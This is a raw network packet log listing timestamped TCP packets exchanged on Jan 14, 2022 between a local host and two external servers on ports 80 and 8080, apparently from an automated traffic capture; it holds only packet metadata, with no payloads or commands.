Jan 14, 2022 04:59:07.578780890 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.578818083 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.578840017 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.578859091 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.578877926 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.637537956 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.637583971 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.637622118 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.637638092 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.637660980 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.637697935 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.637702942 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.637741089 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.637757063 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.637782097 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.637820959 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.637862921 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.637887001 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.637912989 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.637945890 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.637950897 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.637989044 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.638027906 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.638032913 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.638067007 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.638087988 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.638103962 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.638144016 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.638181925 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.638183117 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.638221025 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.638235092 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.638259888 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.638298035 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.638336897 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.638350964 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.638375998 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.638413906 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.638421059 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.638452053 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.638463974 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.638489962 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.638528109 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.638566971 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.638581038 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.638605118 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.638619900 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.638643980 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.638683081 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.638720989 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.638735056 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.638758898 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.638773918 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.638797998 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.638834953 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.638875008 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.638889074 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.638914108 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.638926983 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.638952971 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.639007092 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.639051914 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.639066935 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.639091015 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.639103889 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.639130116 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.639168024 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.639210939 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.639218092 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.639262915 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.639269114 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.639309883 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.639349937 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.639400959 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.696271896 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.696326971 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.696350098 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.696367025 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.696405888 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.696432114 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.696444988 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.696485043 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.696525097 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.696541071 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.696564913 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.696580887 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.696604013 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.696641922 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.696681023 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.696696043 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.696717978 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.696741104 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.696757078 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.696794987 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.696835041 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.696851015 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.696876049 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.696890116 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.696913958 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.696953058 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.696965933 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.696990967 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.697027922 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.697045088 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.697067976 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.697104931 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.697141886 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.697144032 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.697182894 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.697221041 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.697233915 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.697259903 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.697277069 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.697298050 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.697335005 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.697372913 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.697387934 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.697411060 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.697436094 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.697439909 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:07.697550058 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.697562933 CET	49769	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:07.753995895 CET	80	49769	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:10.437061071 CET	49781	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:10.493268967 CET	80	49781	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:10.493438005 CET	49781	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:10.493510008 CET	49781	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:10.494360924 CET	49781	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:10.549959898 CET	80	49781	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:10.550271988 CET	80	49781	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:10.574815035 CET	80	49781	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:10.575048923 CET	49781	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:10.575346947 CET	49781	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:10.602746964 CET	49782	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:10.632076025 CET	80	49781	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:10.661566973 CET	80	49782	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:10.661689043 CET	49782	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:10.661796093 CET	49782	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:10.662164927 CET	49782	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:10.718394041 CET	80	49782	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:10.748130083 CET	80	49782	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:10.749217033 CET	49782	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:10.749372959 CET	49782	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:10.805479050 CET	80	49782	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:10.827646017 CET	49784	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:10.883793116 CET	80	49784	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:10.884094954 CET	49784	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:10.884155989 CET	49784	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:10.884165049 CET	49784	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:10.940465927 CET	80	49784	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:10.970359087 CET	80	49784	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:10.970511913 CET	49784	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:10.970557928 CET	49784	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:10.998486042 CET	49787	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:11.028371096 CET	80	49784	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:11.054446936 CET	80	49787	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:11.054568052 CET	49787	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:11.054652929 CET	49787	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:11.056406021 CET	49787	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:11.110698938 CET	80	49787	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:11.112458944 CET	80	49787	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:11.139134884 CET	80	49787	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:11.140748024 CET	49787	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:11.140983105 CET	49787	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:11.197068930 CET	80	49787	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:11.202534914 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.262777090 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.262903929 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.262990952 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.332633018 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.344412088 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.344469070 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.344506979 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.344546080 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.344568968 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.344584942 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.344624043 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.344651937 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.344671965 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.344743013 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.344784021 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.344820023 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.344841003 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.344858885 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.345237017 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.404728889 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.404773951 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.404814005 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.404850960 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.404880047 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.404890060 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.404901981 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.404932976 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.404968977 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.405008078 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.405035019 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.405049086 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.405056953 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.405087948 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.405126095 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.405175924 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.405179024 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.405219078 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.405241013 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.405260086 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.405297995 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.405338049 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.405355930 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.405376911 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.405391932 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.405416012 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.405453920 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.405493021 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.405503035 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.405642986 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.465635061 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.465689898 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.465729952 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.465768099 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.465770006 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.465810061 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.465823889 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.465869904 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.465914011 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.465951920 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.465987921 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.465993881 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.466006041 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.466027975 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.466068029 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.466094017 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.466109037 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.466147900 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.466187954 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.466212034 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.466238976 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.466280937 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.466295004 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.466317892 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.466342926 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.466356039 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.466396093 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.466432095 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.466466904 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.466469049 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.466479063 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.466507912 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.466546059 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.466562033 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.466586113 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.466622114 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.466645956 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.466660023 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.466700077 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.466736078 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.466741085 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.466773987 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.466788054 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.466814041 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.466852903 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.466869116 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.466892958 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.466928959 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.466965914 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.466981888 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.467005014 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.467041016 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.467056990 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.467080116 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.467113972 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.467133045 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.467152119 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.467171907 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.467195988 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.467247963 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.527358055 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.527414083 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.527455091 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.527493000 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.527530909 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.527570963 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.527580976 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.527607918 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.527611971 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.527651072 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.527657032 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.527689934 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.527728081 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.527748108 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.527767897 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.527782917 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.527806997 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.527844906 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.527856112 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.527887106 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.527936935 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.527978897 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.528021097 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.528057098 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.528095961 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.528115988 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.528135061 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.528141975 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.528175116 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.528217077 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.528225899 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.528255939 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.528295040 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.528307915 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.528336048 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.528376102 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.528413057 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.528429031 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.528454065 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.528492928 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.528506994 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.528533936 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.528570890 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.528583050 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.528609991 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.528616905 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.528650045 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.528687000 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.528700113 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.528724909 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.528764009 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.528804064 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.528819084 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.528846025 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.528882980 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.528896093 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.528923988 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.528937101 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.528963089 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.529000044 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 04:59:11.529015064 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 04:59:11.529052973 CET	8080	49789	185.7.214.171	192.168.2.3
